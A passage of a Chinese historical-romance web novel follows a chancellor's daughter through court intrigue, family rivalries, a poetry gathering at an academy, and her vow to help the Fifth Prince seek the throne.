林歌将她挡在身后,看清来人的脸,扭头细声道:“姑娘,是侯夫人身边的春意。”
上回在敬方院打了林歌一巴掌的人。
宋檩拍了拍林歌的肩膀,绕到春意背后打量起来。
衣着朴素,首饰全无,瘦了一圈,掩不住的狼狈和疲态。侯宛仪该是彻底放弃她了。
“我记得,上次的事情已经了结了,你还有异议?”
“婢女不敢!”春意惶恐磕头,“大姑娘仁慈,婢女感激不尽,只是……”她哭述了那件事后的遭遇。
宋檩和林歌对视一眼,神态平平。侯宛仪眼里容不得沙子,府里多的是踩低捧高之人,有这样的下场也是罪有应得。
林歌搀她起身,冷声道:“我家姑娘不需要废人,你若能证明自己的价值,就到敬方院来。”
话落,跟在宋檩身后离开。
两人刚到敬方院,展颜来了,说承王带着宫里的太医来了,相爷请她去前厅。
前脚在燕鹭湖碰到太子,承王立马到了府上,这事儿没那么简单,搞不好真如瞿昙说的那样,跟蓉花玉简有关。
“爹爹可有说什么?”
展颜摇头,“来的是严太医。”
宋檩了然,严太医是御用太医,怕是宫里那位的心思。
收拾妥当到前厅,来人已坐下,宋檩的视线在华承坤身上稍作停留。
“阿眠来了。”正在寒暄的宋明书瞥见她,忙招呼人过去,“这位是承王,这是严太医。”
宋檩一一见过,在宋明书的身侧落座。
严太医诊脉,无人出声,都在等结果。
才起身,华承坤禁不住问起来,“严太医,宋姑娘的身体如何?”
宋明书也起身,一脸紧张地等他说结果。
严太医起身拱手道:“宋姑娘气血受损,身体亏空,需得好生将养才是。”
“可要吃什么药?”宋明书急地抓住严太医的胳膊。
“相爷无需多虑,我会开几个疗养方子,照着方子吃个把月应无大碍。”
“那就好,那就好,有劳严太医。”宋明书一颗心终于落了地,立马请人坐下。
一直在座位上的华承坤眼神流转,突然道:“上回父皇给的赏赐中正好有一株千年人参,回头本王差人送到相府来。”
宋檩和宋明书父女齐齐扭头看向他,脑子里划过大大的问号。
严太医见情况不对,忙寻了个借口离开。
父女俩对视一眼,不由得多了个心眼。
相府素来不掺和朝堂之争,跟这风头正盛的承王殿下也没什么交情,此时献殷勤,非奸即盗!
宋明书笑道:“既是圣上赏赐,怎么好意思……”
“宋相哪里的话,人参放着也是放着,能让宋姑娘的身子好起来,就发挥了它的最大价值,宋相就不要推辞了。”
宋明书还想说什么,宋檩扯了扯他的袖子,示意他别再推辞。
“臣替小女谢过承王殿下。”
东西没拒绝,这是个好兆头。华承坤心头一喜,探究的视线落在宋檩身上。
别看宋明书态度好,实则圆滑得紧,他屡次示好都被拒绝,太子亦是碰了一鼻子灰。
原先担心他因宋姿和太子的婚事被拉拢,如今看来太子的计谋并未得逞,还得多谢他的不识好歹。
没想到这样的人竟会听宋檩的话,倒是个意外收获。
华承坤在心里盘算着,宋家父女对视一眼,心里犯嘀咕,严太医已经走了,他还留在这做什么?
宋明书清了清嗓子,笑道:“这大热天的,承王殿下亲自跑这一趟,臣受宠若惊。”
“为父皇分忧,乃本王分内之事。”他朝天一拱手,表明了此番前来的目的。
宋明书觉察出承王的心思,知他的算计,便叫人看茶。
华承坤饶有趣味地看向宋檩,“本王听说老五回来后就只来了相府,如今闭门谢客,就连我这个兄长都不能得见一面。”
宋明书手一抖,杯子里的热茶溅在手上,他却感觉不到疼。
五皇子回京后一直备受关注,去了哪做了什么见了哪些人根本瞒不住,倘若惹了这位不痛快,回宫后一番添油加醋,够相府喝一壶的。
宋明书表面叫苦,心里骂骂咧咧,“五皇子回京后第一时间入宫见陛下。”
“至于来相府,乃是为了小女的婚事。承王殿下知道,五皇子是个重感情的人,跟小女是自幼的情份,多年未见,如今婚嫁,自是要问上一问的。”
“至于闭门谢客,乃是五皇子的私事,微臣不敢妄议,承王殿下切莫折煞微臣了。”
这样的答案……应是不符合他的预期,又挑不出错来,华承坤紧抿唇角,轻啜了口茶。
他的目的已经达到,也该起身离开。
“再过几日是乞巧节,宋姑娘不妨多出去走动,结识几个朋友,心情畅快百病消。”
宋檩恭敬称谢,目送他离开,眸色深沉。
“承王心机深,宫里贵妃也不是善茬,如今,怕是盯上你了。”宋明书一脸忧虑道。
他哪是盯上自己,分明就是盯上了蓉花玉简,再则就是华承璟和秦王府手里的兵权。
讨好她,不过三言两语的事情,带来的好处无法估量。
宋檩知道,他此番回宫,婚期就要定下来了。
入口处传来一阵吵闹,父女俩同时皱眉。
“这是我家,凭什么拦住我的路?”宋沅的声音又尖又细,说不出的刻薄。
“三姑娘,相爷吩咐,任何人不得打扰,属下不能让你过去。”展颜丝毫不动容。
她顶着日头一路从燕鹭湖赶来,再耽搁下去妆都要花了,展颜竟然如此没有眼力见,太气人了!
“展颜,你眼里到底还有没有我这个主子!”宋沅心里恨,却又不敢对他怎么样,只能逞口舌之威。
往常仗着爹爹宠爱,他从未将自己放在眼里,如今她也是相府嫡女,区区一个下人,凭什么在她跟前叫嚣?
宋沅越想越气,二姐嫁
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给太子,她自然不能落后。如今承王殿下在府上,多好的机会啊!这个不懂变通的护卫,当真烦人。
展颜斜她一眼,低头不语,挡住去路的身子一步没挪开。
宋沅知这儿的人根本不听她的话,急得满头大汗。
宋檩走过来,见她大发脾气,笑着摆手,“三妹妹,又见面了!收拾得这么漂亮,怎么不在燕鹭湖多玩会儿?”
宋沅本就不爽,见了她火气更大,指着宋檩,大声质问展颜,“她可以过去,凭什么我就不行?”
“回三姑娘,展颜只听老爷吩咐!”展颜面无表情,却给宋檩行了个礼。
宋沅气得眼冒金星,脚下趔趄,差点栽倒,瞪大眼睛久久说不出话来。
宋檩觉得没意思,摆了摆手,示意展颜放她过来。
见此的宋沅又差点气晕过去,狠狠瞪了展护卫一眼,“我一定告诉爹爹你欺负我!”
展颜看也不看她,只挪了身子,让她过去。
宋檩摇头,她那点心思就差拿纸贴在脑门上了,还真以为别人看不出来?
“爹爹!”宋沅在前厅没见到华承坤,便知自己错过了,心里又把展颜这个榆木脑袋骂了个遍。
宋明书见状立马黑了脸,“为父在前厅待客,你不去后院好好待着,跑过来做什么?”
她受了委屈,爹爹没有第一时间替她讨要公道,竟还当着下人的面斥责。
宋沅有一瞬的迷茫,瘪嘴低声道:“沅儿再如何,也相府的主人,如今沅儿在下人那里受了气,爹爹却不过问……好生偏心。”
“行了!收起你那点心思,真当我不知你想做什么?禁足七天,回去好好反省!”
“爹爹……”宋沅弱弱道,打算撒娇敷衍过去。
“禁足一个月!”
宋沅瞪大眼睛,不可置信地看向自己的父亲,牙根紧咬,涌着泪水跑开了。
宋檩摇头,坐在一边不掺和。
她都能看出来,更何况在朝堂上摸爬滚打的宋明书呢?
小小年纪就有此等心机,受苦的日子还在后头。
“爹爹别气了,气坏身子得不偿失,眼下紧要的是婚礼,估摸日子就要定下来了。”
每每看到阿眠的贴心,就会想到那两个女儿的糟心,同是他的女儿,怎么就差别那么大?
宋明书叹气,不是没给过机会,可惜失望太多了。
他拍了拍宋檩的肩膀,语重心长道:“阿眠放心,有爹爹在,你想如何就如何。”
这一刻,宋真切体会到了父爱,哪怕他并非生父。
“那就劳烦爹爹,替我收下承王府送来的人参咯!”她眨眼一笑,尽显女儿家的俏皮。
宋明书才想起这茬,拉着她转悠一圈,没发现不妥之处,才问出声,“阿眠,方才严太医说你身体亏空,这到底怎么回事儿?”
此事……说来话长,宋檩眼神闪烁。
既应了瞿昙的合作,少不了费些心思,气血亏空不假,却也没多严重,但这件事不能让宋明书知道。
“爹爹放心,我好着呢!”
9. 姐妹初离心
婚礼之事,宋明书充分征求她的意见,宋檩也将秦王府的诚意说来,这让宋明书很是欣慰,他的阿眠,值得世上最好的。
倘若秦小王爷身体康健,何尝不是良配……
侯氏过来了,身后跟着低头抽泣的宋沅。
父女俩没再说话,扭头看着她们母女。
“你们怎么来了?”宋明书斜了一眼,拿起茶盏喝茶,瞧着心情还不错。
侯宛仪看向一旁的宋檩,俯身道:“沅儿年幼,行事莽撞,是妾身管教无方,老爷要罚就罚妾身吧,回头妾身一定好生管教。”
再过几天就是乞巧节了,岂能禁了沅儿的足?
要不说是母女呢?宋沅还真是有样学样,宋檩轻哼。
“你确实该罚。”宋明书凉凉地扫她一眼,“看看你教的都是些什么?”
明知家里有外男,还上赶着往前凑,传出去他都觉得丢人!
侯宛仪已知事情始末,恨铁不成钢地瞪了宋沅一眼,只顾低头认错,一言不发。
哪回都一样,有理争得头破血流,无理就跪着不说话,十几年了,他都倦了。
宋明书摆手,让她赶紧把人带走,眼不见心不烦。
侯宛仪又看了眼宋檩,咬牙把人拽走。
她看向一脸委屈的小女儿,脸色阴沉。
“娘……”宋沅弱弱出声,她没见到过这样的母亲,心里生出惧怕。
“别叫我娘!你心里还有我这个娘啊?”侯宛仪一把甩开她的手。
这个女儿真可以把她气死!她才在宋明书那里赢了一局,夫人的位子还没坐几天,这个女儿就开始整幺蛾子。
宋沅深知,母亲虽偏心,但在相府,如果她不管自己,处境堪忧。她跪在地上,哭道:“娘,都是沅儿的错,沅儿以后什么都听娘的!”
“你还知道是自己错了啊?还以为翅膀硬了不需要我这个娘了。”侯宛仪咬牙切齿道,窝了一肚子火气。
宋沅眸光闪烁,她当然记得。娘说二姐姐已经赐婚给太子,身为太子妃的胞妹,一定可以给她寻一户好人家。
可她不服气!
从小到大什么都紧着宋姿,如今就因为嫁给太子,自己就得为她铺路!凭什么?
心里有气,面上却不显,她做低道歉,“沅儿知错了。”
气她不服管教是一方面,到底是亲生女儿,将来还得倚仗她。态度这般好,侯宛仪不好再斥责。
她放缓了语气,拉宋沅站起身,苦口婆心道:“你能听娘的话,娘自是高兴。”
“从小到大,娘确实对你不如你姐姐,可也是没办法,你爹根本靠不住,咱们娘仨只能靠你舅舅。”
侯宛仪抱住宋沅,轻轻拍着她背,“你舅舅选择了姿儿,咱们就得帮她!”
宋沅眼里闪出精光,原来这一切的根源在舅舅。
“娘,沅儿知道了。”
宋姿一过来就听到侯氏的话,眸中闪过得意,她知道舅舅最宠她。
“娘,沅儿也大了,难免会有倾慕之人。承王虽不及太子,却也是皇子中不错的,沅儿心悦他也在情理之中。”
见到来人,尤其是言语中的宽慰和理解,侯氏越发觉得大女儿懂事,脸色也好看起来。
“还是姿儿懂事。沅儿,你是娘的亲骨肉,娘还会亏待了你不成?只是承王……确非良配。”
“你若信得过娘,待你二姐姐完婚,多与她走动亲近,还担心找不到一个好人家?”
宋沅知她不会偏袒自己,挽住她的胳膊,乖巧道:“沅儿知道了,以后都听娘的。很快就到乞巧诗会了,沅儿可不可以跟着二姐姐一起去呀?”
宋姿眉头微皱,她肯定不愿带这个傻宋沅,但看母亲的意思……
她上前一步,主动说道,“沅儿也快及笄了,这回就跟着我吧,娘放心,我会照顾好她的。”
侯宛仪越发喜欢这个为自己分忧的大女儿,很欣慰地叮嘱几句,母女三人和好如初。
…………
如今的大昭重礼仪,少不得一段渊源。
大昭以武立国,先帝骁勇善战,打下大片北方疆土,旧伤复发不治而亡。
今上年少登基,可谓群狼环伺。为了巩固统治,只能重用文臣,礼法并举压得武将服服帖帖。
诚如华承璟,一个带兵在外的皇子,人们只会惋惜他远离政治中心。
诚如秦王府,虽手里有点兵,却低调行事,并不被中都城看作权力人物。
乞巧节自大昭立国起,每年由三清门举办诗会,邀请各地才子佳人前来。在诗会拔得头筹者,有望成为三师的弟子。
三师地位尊崇,门下弟子多在朝为官,于大昭学子而言,无疑是踏入仕途的绝佳机会。
女子若得三师青睐,更是地位非凡。
敬方院内,宋檩听了林歌的话,兴趣缺缺。
林歌见她全无要收拾准备的心思,禁不住开口,“姑娘,今儿就是乞巧节,咱们不去逛逛吗?”
府里其他姑娘都在梳妆打扮,恨不得拿出最好的衣裳头饰,只为艳压群芳,博得三师青睐。
她说了这么多,姑娘咋就毫无动静呢?
话本子看到了有趣处,宋檩掩不住眸子里的笑,有一搭没一搭应道:“自然是要去逛的……对了,你把春意放哪去了?”
林歌才想起这事忘了说,拍了下脑袋道:“姑娘先前说她不适合继续留在府里,属下将她打发到庄子去了。”
眼不见心不烦固然好,只是,未免有些大材小用。“你把她放到铺子里,若不能用就算了。”
“属下明白。”林歌领会她的心思。
“姑娘,今日可要穿五殿下送的那套水蓝长衫?”她试探道。
宋檩终于看完了一个单元,合上话本子,神色平平道:“不必,那套月牙白的就挺好。”
太素了,往人堆里一站毫不打眼,林歌小声嘀咕,“旁人都精心打扮,姑娘怎的一点儿也不在意?”
宋檩摇头,失笑道:“她们有她们的目的,咱们又不求什么,何苦累自己?”
“姑娘难道不想成为三师弟子?”林歌不依了,她家姑娘天资聪颖,若叫三师见了定会喜欢。
“听说这回三师都会到场,二姑娘可是铁了心要当三师弟子。”
侯宛仪在宋姿身上花了大价钱,无论是琴还是棋和画,放眼中都城都是拔尖儿的
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,三师弟子的身份,她势在必得。
更何况,历任皇后都是三师弟子出身,她如今顶着太子婚约的头衔,亦是箭在弦上。
林歌所想,无非是借三师弟子的身份,摒掉她身上被退婚的议论,往后在秦王府也能多一份保障。
不过呢,不管秦王府的人如何,她都不在乎,被退婚,并非她的过错,没什么不光彩的。
“宋姿没得选,她必须成为三师弟子,这也是情势所迫。”她起身拍了拍林歌的肩膀,“我与她不一样,没什么可逼迫我的。”
更何况眼下的局势,她越是出彩,就越危险。
只有苟着才能保命。
林歌替她梳妆,两人闲聊起府里趣事,话题扯到了宋沅身上。
听到自家姑娘对府上三姑娘的猜测,林歌张口哑言。
“怎么说都是亲生女儿,侯夫人自然会替她选上一门不错的亲事,三姑娘为何寻承王?”
承王与太子在朝中对峙已久,明知胞姐已与太子有婚约还去招惹承王,无疑是在打宋姿和侯宛仪的脸。
要不说大昭的武将过得凄惨呢,玩心思根本不是对手。
宋檩摇头,“你把事情想得太简单了,我这三妹妹可不是盏省油的灯。”
“属下不解。”林歌摇头。
“以后你就明白了。”宋檩暗笑。
院子里传来脚步声,又在门外静止,随即响起叩门声。
“何事?”林歌看了眼自家姑娘,朝门外问话。
“大姑娘,林歌姐姐,展护卫差我来告,五殿下已来府上,接姑娘同去三清门。”
“知道了,姑娘随后就到,你且下去吧。”林歌将人打发走,继续捯饬头发。
宋檩从镜子里挑眉,问她来者何人。
“是刚进府的丫头,叫阿庆,被侯夫人身边的嬷嬷打骂时,属下帮她说过几句话。”她懂得分寸,只说了事实,至于其他的,一概不提。
既是展颜送来的人,自然信得过。
这一批新进的丫头出身大户人家,是宋明书为了给她选陪嫁丫头专门买的,遇着不错的自然要留下。
宋檩几不可见地点头,“瞧着是个机灵的,你安排就好。”
“属下替阿庆谢过姑娘。”
路上一问才知宋姿姐妹已先行离开,并没有带上宋漓,她忙差林歌去叫宋漓,自己往前厅走。
宋明书和华承璟一边喝茶,一边说军营的事情。
见宋檩前来,忙放下手里的茶杯,眯着眼望过去,“阿眠来了。”
华承璟也看了过去,欲起身却被宋檩叫住。
“阿兄稍坐片刻,我已差林歌去唤四妹妹,让她跟我们同往。”宋檩落落大方,眸子清澈,毫无矫揉之态。
华承璟点头,顺便的事,他并没觉得不妥。
宋明书对后院之事不上心,听她一番话,只当女孩子家打扮需要时间。华承璟看在眼里,没有作声。
宋漓一早就收拾完成,但知道两位姐姐并不打算带上她,且府里马车已经离开的时候,她虽有遗憾,却没放在心上。
知晓林歌的来意后,她只觉受宠若惊,不敢耽搁时间,跟了过去。
10. 三清门会客
坐在马车上,宋漓仍有些紧张。长这么大,她还是头一回跟皇子同车驾。
“暗匣子里有几本游记,无事可以打发时间。”马车的主人说话了,但他依然闭目假寐,似在沉思。
宋檩挑眉,打开小茶几下的暗匣子,随手拿了两本来,发现除了游记,还有本阵法概论,立马来了兴趣。
她随手把游记丢给宋漓,翻开阵法来看。书上所载都是些寻常简单的东西,翻了几下就觉得兴致缺缺。
“阿眠能看懂?”
宋檩动作微顿,抬眼发现他不知竟睁开了眼睛,一脸探究地看着自己。
她不着痕迹地收起书,琢磨道:“勉强吧,书里的描述并不深奥。”
华承璟突然伸手,拿过她手里的书本,递给一旁坐着的宋漓,面无表情道:“四姑娘觉得如何?”
宋漓呼吸一促,就着他翻开的那页瞥了几眼,声音有些颤抖,“书中内容太刁钻,太晦涩我看不懂。”
她自认看过一些书,但这书讲的都是奇门遁甲之术,若非天赋异禀之人根本悟不透。
宋檩心里一紧,没料到大昭人竟对阵法一窍不通,心虚得很,完全不敢跟他对视。
“我府上还有些孤本,阿眠感兴趣的话,可以拿去看。”华承璟并未深究。
宋檩提着的心终于放下来,“那阿眠先谢过阿兄。”
马车一路平稳地驶进三清门,广场上来了很多人,三五成群站着,都是中都城有头有脸的。
掀开马车帘子,刺眼的光逼得人睁不开眼,宋檩用手挡在额前,看向密密麻麻的人,太阳穴直犯突突。
华承璟在第一道门就下了车,说是旧人相邀,具体去了什么地方,她也没过问。
她本就不喜这样的活动,与其进行无用的社交,倒不如在家晒太阳自在。
国公爷,也就是她名义上的外祖,真正的祖父曾在三清门多年,与这牵绊颇深,今日前来,不过是想打探一下消息。
若跟蓉花玉简有关就更好了。
她瞥了眼身侧的宋漓,跳下马车,这件事要单独进行,得先把她打发走。
“四姑娘,当心脚下。”宋漓的贴身婢女灵秀细声提醒。
宋漓深居闺中,又是最小的,极少参加这样的活动,突然见到那么多生人,紧张得整个人都局促起来。
“四妹妹,你自去玩吧,回去的时候还来这里就行。”宋檩伸了个懒腰,打算去书院里边走走。
这座创立百年的书院,多少朝廷命官都出自这里,自然要去瞧上一瞧。
宋漓也不忸怩,道了谢后离开。
“姑娘,寻个阴凉处歇歇吧。”林歌举着伞,见自家姑娘脸上已经出了豆大的汗,觉得出发前不上妆的法子太明智了。
前方有一棵高大的槐树,浓荫正好落在一个石桌上,宋檩指向那边,“去那休息。”
近了才发现,石桌不远处有一潭水,潭中落了树叶,有些已经枯朽,扑面而来的幽寂,此处平日里应是少有人来。
林歌收了伞,掏出锦帕替她擦汗。
“姑娘可在此稍作休息,就是蝉鸣太吵。”她一边擦汗一边低语。
她没说之前自己没发现,此处不只有蝉鸣,还夹杂了蛙和不知名鸟儿的声音,混成了一曲大自然的交响乐。
“请问可是宋姑娘?”一个书院学子打扮的人走过来,恭敬问道。
宋檩回神。
林歌上前一步,礼貌应道,“我家姑娘是相府大姑娘,阁下是?”
那学子一脸和善,笑道:“姑娘别误会,在下是三清门的学子,我家先生请宋姑娘一叙。”
宋檩眯起双眼,如此僻静的地方都能找来,对方应是早就关注她了。她起身笑问道:“不知你家先生如何称呼?”
“先生说,宋姑娘到了便知。”
竟还卖起了关子。宋檩心想,三清门的底盘,应当不会出什么事。更何况她也想见见书院的人。
“劳烦带路。”
一行人绕过广场,踏上竹林小道,尽头是一座小院。
院门敞开着,学子却没有进去的意思,“先生吩咐过,宋姑娘来了直接进屋即可。”他做了个请的手势。
宋檩眼神示意林歌,叫她在外边候着,提步进了小院。
看到屋中的华承璟,宋檩心下疑惑全解。
“阿眠,这是南泓先生。”华承璟见来者是她有些惊讶,打趣道:“早知先生的客人是阿眠,我就带着一起来了。”
“你们一道来的?”南泓先生有些意外,想起二人的关系,释然大笑。
宋檩上前几步,抬手行礼,“见过先生。”
老先生虽然满头白发,精气神却很好,不输当下的年轻人。瞧着就是当世大儒的面相。
“多年不见,曾经的小姑娘已经出落成了个大姑娘了。”他请人坐下,笑着叙旧。
“先生见过我?”宋檩抓住了他话里的重点。
南泓先生端了杯茶给她,“你可能不记得了,小时候是见过我的,那时老国公每回来书院都带着你。”
“你这小姑娘皮得很,我栽的紫竹好不容易出了笋,结果你一来,全给我掰咯!”说起她曾经的糗事,老先生越发高兴。
华承璟眼里的笑根本藏不住,“阿眠小时候确实淘气。”
老国公就这么一个孙女,恨不得把天上的星星都摘下来给她。
宋檩尴尬一笑,却怎么也搜索不到那段记忆,“小时候的事……确实记不太清了。”
“先生若再说下去,阿眠怕是以后都不敢来见您了。”华承璟看出她的窘迫,替她求情。
南泓先生指着两人,又是一阵大笑。
“你二人也算是老国公的嫡亲门生,正好,方才那个事,也请宋姑娘谈谈看法。”他毫不掩饰对宋檩的兴趣。
宋檩无辜地望着两人,对他口中的“那个事”一脸迷茫。
华承璟见状轻声道:“南泓先生方才在与我讨论‘战与和’的问题,既然先生说了,阿眠也谈谈自己的看法。”
“不用太紧张。”
“可是胡人有了新动作?”她一脸紧张地问道。
显然没料到她会联想到胡人身上去,南泓先生和华承璟对视,都在对方眼神里看到了惊讶。
他哑然一笑,忙道:“那倒没有,只是胡人战败后续事宜接踵而来,朝中引发热议,才跟南泓先生探讨一二。”
原是这么回事,宋檩松了口气。
她像是下定了某种决心,忽然起身,拱手一拜,“既然是先生的意思,那宋檩就献丑了。”
“我认为,‘战与
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和’从来都不是矛盾互斥的,而是互相成就,互为表里。”
“何为战?开疆拓土、荡平匪寇是战,疏通浚河、平灾定民,甚至粮食丰收也是战。于将士而言,每一个任务都是战。不同的人有不同的战场,不同的任务。”
“何为和?国与国和平共处视为和,家和家团结互助,人跟人以礼相待都是和。”
她弯腰端起茶杯,一口喝干茶水,放下茶杯继续说,全然不顾两人诧异的表情。
“就眼下大昭和胡人的问题来谈,作为战胜国,难道我们就不需要和了吗?”
“我们同样需要和。”
“胡人侵扰我们的边境,无非是想要我们的东西,但这世上,想要得到一样东西,并非只能通过暴力这一种手段。”
“大昭有富饶的物产,胡人有上等的皮张奶酪,咱们可以互市,通过买卖的手段获得。”
“可能有人会说,胡人野蛮,不讲信用。无妨,大昭的铁军会是互市最强大的后盾。”
互市牵涉甚广,有太多细节需要探讨,宋檩不打算深究,话锋一转到了敏感问题上。
“同理可得文武,文臣武将并非争得你死我活才算成功。”
她一手指向南泓先生,“你用制度改革推行更好的政策。”另一只手指向华承璟,“你用铁军为政策的落地执行保驾护航,这难道不是彼此成就?”
南泓先生和华承璟的眼里噙着泪,谁能想到朝堂争论不休的问题竟被个小姑娘三言两语道破了天机?
“那些个老匹夫竟还不及你个小姑娘!”老先生泪流满面。
宋檩朝二人拱手,落座后有些拘谨,觉得自己方才的侃侃而谈多少有些大言不惭。
“老先生谬赞,其实这些理儿很多人都懂,只是帝心难测,有志之人已经发不出声音了。”
南泓先生看她的眼神越发深邃,当今世上有此等见识的女子属实不多。
“哈哈哈……”他突然大笑出声。
宋檩看向华承璟,发现对方跟自己一样,满眼疑惑,禁不住问出声,“先生笑什么?”
南泓先生摆手,“只是想到明珠蒙尘,错被人当成了石头,实在可笑啊!”
宋檩知老先生是想到了她的婚事,现出尴尬之态,“先生也知道我被退婚的事呀……”
“想当初,这婚事还是我跟你外祖打赌赢来的!”饮了一口茶,笑着摇头,“如今看来,老夫才是输的那个咯!”
宋檩无语,敢情她就是那个赌注呗。
“先生似乎跟我外祖很熟?”
“那是自然,我与老国公是过命的交情!”说起往事,南泓先生的话匣子彻底关不住,说了许多往事。
宋檩才知南泓先生跟国公府有此渊源,她扫了眼对面的华承璟,见人神态淡然,应是个知情的。
“先生既是外祖的旧识,可知蓉花玉简?”她急切问道,“我知此事敏感,可若先生知晓,请一定告诉我!”
没等来后续,华承璟抬头,恰撞见南泓先生一脸为难,“需要我回避?”
南泓先生忙道:“殿下说笑了。”
“实在是此事老夫并不知情,宋姑娘若真想知道,可去问老王爷。”
“秦王府?”宋檩疑惑。
“正是。”南泓先生的回答掷地有声。
11. 为殿下效劳
走在竹林小路上,宋檩神情恹恹,掩不住的失望。
华承璟知她忧心蓉花玉简,深知自己帮不上忙,只能转移她的注意力,“今日阿眠倒是让为兄长了见识。”
宋檩脚步微顿,失望立刻被紧张取代。
“阿兄此话何意?”
他扭头看了眼身后的小院,摇了摇头,“只是出了这条道,就得把今日的话烂在肚子里。”
说不遗憾是假的,奈何朝局如此。
宋檩将他上下打量了一番,竟忍不住笑出声来。“阿兄当真听不出先生的弦外之音?”
华承璟凝视着她,眼眸深邃。
“南泓先生乃当世大儒,眼有千山,又怎会为当下迷局所困?”宋檩淡笑,倘若华承璟来坐这个江山,倒是比那两位合适。
华承璟垂下眼帘,心中五味杂陈。
先生之意隐晦,他并非愚钝至极之人,又怎会听不出来?
只是帝心偏私,朝局如此,纵有万千抱负,亦无处施展。守住这个江山,也算没辱没了皇家身份。
“阿兄若得了空,不妨四处走走,看看你守住的江山值不值当。”她言尽于此,再不多言。
一转身看到迎面走来的华承乾和华承坤,立马变了脸色。
对方显然没料到会在此处遇见他们,俱是一愣。
“五弟,宋姑娘,你们怎会在此?”华承坤打量的眼神在两人身上来回扫过。
先是惊讶,很快反应过来,一副很熟络的样子,“真是巧了,你们也来拜见南泓先生?”
华承乾眼神深邃,面无表情。
华承璟给两位皇兄分别见礼。
“见过太子,承王。”宋檩俯身行礼,“听说三清门内不少大儒,我实在好奇,就央了阿兄前来。”
“哦?那可是见着人了?”华承坤很有耐心地问道,一边的华承乾也竖起了耳朵。
她正欲寻个借口搪塞过去,之前那个书院学子走过来,说先生请二位殿下进去。
太子和承王立马跟上。
宋檩看着火急火燎的两人,谁都不愿落后,若有所思。
她瞥了眼身旁的华承璟,倒是坦荡得很。
“阿兄……早就知道我的身世吧。”起初她有些防备,每次见面都带着试探。
古老说过,蓉花玉简要给国公府的后人,今日她在南泓先生面前提及玉简,两位的表现都没有惊讶。
由此可见,华承璟和南泓先生都知道自己的身世。
这世上,到底还有多少人知道她的身份?
华承璟脚下一顿,看向她的眼神有些闪躲,这件事,他也是无意中得知。
宋檩知道自己猜对了,不禁觉得好笑。
她如今还活在世上,应该感谢知情人没有告发,还是对手的怜惜放过一马?
透过竹林星星点点洒下来的阳光,她望着绿荫之上的日头,有些惆怅。林歌远远跟着,没有上前。
“阿兄可知,我今日为何在南泓先生跟前说那样一番话。”
华承璟看着她,手中拳头紧握。
宋檩继续道:“我说出来,只是想要阿兄知道,国公府一案,不可能就这么稀里糊涂算了。”
她的声音很轻,却很有穿透力。
华承璟只觉耳膜生疼,忍不住吞了口唾沫,艰涩出声,“那是父皇最得意的作品,想要讨个说法,谈何容易?”
他虽是皇子,身上却有半数国公府血脉。外祖和舅舅打小就疼爱他,他比任何人都想要个说法。
可是他更知道,这太难了。
“他不行,那就换个人来!”大逆不道的话在华承璟的耳旁遛了一圈,轻飘飘消散在竹林深处。
华承璟压下心里悸动,许久才响起沙哑的嗓音,“太子不会去得罪父皇,承王的性子与父皇无异,更不可能达成目的。”
宋檩轻哼出声,笑着看向他,“我从没指望那两人。”
这是逼他去争那至尊之位!
华承璟死死盯着她,那早已熄灭的天下雄心竟有死灰复燃之势。同时他又很难过帝心偏私,人微言轻,又何尝不是白手起家?
他是皇子,生于帝王之家,淑妃是他的母妃,老国公是他的亲外祖,自幼传授他治国理政之道,舅舅姨母更是对他宠爱有加。
国公府覆灭后,天之骄子的他跌落云端,这一跌,就是十年,太久了。
宋檩见状,自腰间的荷包内拿出蓉花玉简,嘴角微勾,“阿兄既知蓉花玉简,可曾见过?”
先帝驾崩突然,老国公持玉简号令天下学子北去,几十年经营,才有了今日之大昭。
有人说,老国公此举英明,以一人之力扼住了无数世家的咽喉。更有过分者,直言三清门就是个质子院,关住了世家最优秀的血脉。
老国公默然不语,独自扛下了所有。今上感念其恩德,赐爵世袭,不论男女。
然则帝心难测,才短短二十几年光景,显赫一时的国公府彻底消失在中都城。
华承璟凝视着那块玉简,心底涌起一阵酸楚。
外祖曾多次提及蓉花玉简,那是文氏家族的族徽,机缘巧合之下赋予了特殊意义。它可以救民于水火,但不该成为权力的牺牲品。
“阿眠……”
“阿兄,你是皇子,我是宋府大姑娘,但我们都是国公府后人。”
老国公曾言,文氏历代不拘小节,为生民请命,为万世开太平,不论男女。她看着阳光下晶莹闪烁的蓉花玉简,不觉泪流满面。
这就是文人的风骨。
华承璟垂下眼帘,下定决心,“既如此,我便争上一争。”
宋檩揩掉脸上的泪,行臣子礼,“阿眠愿为殿下效劳。”
他欲搀扶,突然想起了什么,收了手,后退半步,回她一个拱手礼,一切尽在不言中。
“相府,阿眠可有把握?”
“阿兄放心,回去后,我会将利害关系陈述给爹爹,我相信他会做出跟我一样的选择。”
华承璟点头,他相信阿眠可以做得很好。
二人又在书院内走了走,来到广场天色已晚,活动接近尾声。
宋漓一直在下车的地方等候,见了她立马迎上来,“大姐姐。”她没问从何来,也没问去做了什么,只礼貌一笑。
宋檩笑道:“听说二妹妹已经被白先生收作弟子,四妹妹可有如愿?”
“大姐姐莫要打趣漓儿。白先生是琴师,二姐姐又有拿手曲儿,等
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闲自是比不得的。”她进退有度,脸上并无失落之色。
宋檩知她志不在此,也不再多言。
“天色不早了,我们也回吧。”她率先上了马车。
宋漓跟在身后,至于华承璟去了哪里,她并不过问。
马车在天一街被阻了去路,宋檩掀起帘子往外开,大街上人头攒动,热闹不亚于三清门。
只是此处的人大多素衣白裳,比不得三清门绫罗绸缎。
男女老幼脸上笑容绽放,比三清门更张扬彻底,他们毫不掩饰,笑得露出一口大黄牙。
幸福很公平的,不会有门第之见。
“今夜有灯会,街上人太多,咱们的马车大抵是过不去了。”林歌打下帘子,拿了扇子扇风。
宋漓见此忙道:“大姐姐,我带着灵秀去逛逛,此处离府上没多远,完了自行走回去。”
宋檩抬手示意她随意。
林歌目视她们离开,她倒是希望姑娘下去走走。
“我们也去走走,窝在马车里,人都要废了。”她伸了伸懒腰,打哈欠挤出了眼泪。
二人一下马车就和迎面走来的桑无疾撞了个正面,他一手摇扇,一手背在身后,大咧咧过来。
宋檩嘴角微抽,未婚夫只见过一面的左膀右臂,不太熟诶。
“好巧啊,宋姑娘也在这里!”桑无疾摇着扇子,大摇大摆过来打招呼,完全不像是才见两面的人。
此时若她忸怩,倒显得小家子气。
宋檩瞥了眼他身后的人,乌泱泱跟了一长排,如此高调,生怕旁人不知道他们认识是吧?
“桑公子这是把家里的小厮全带出来逛灯会?”
桑无疾看向身后亦步亦趋跟着的人,眼有懊恼。若非上次闯醉香楼撞破别人好事,爷爷也不至于担心他出事,出个门安排一大堆人跟着。
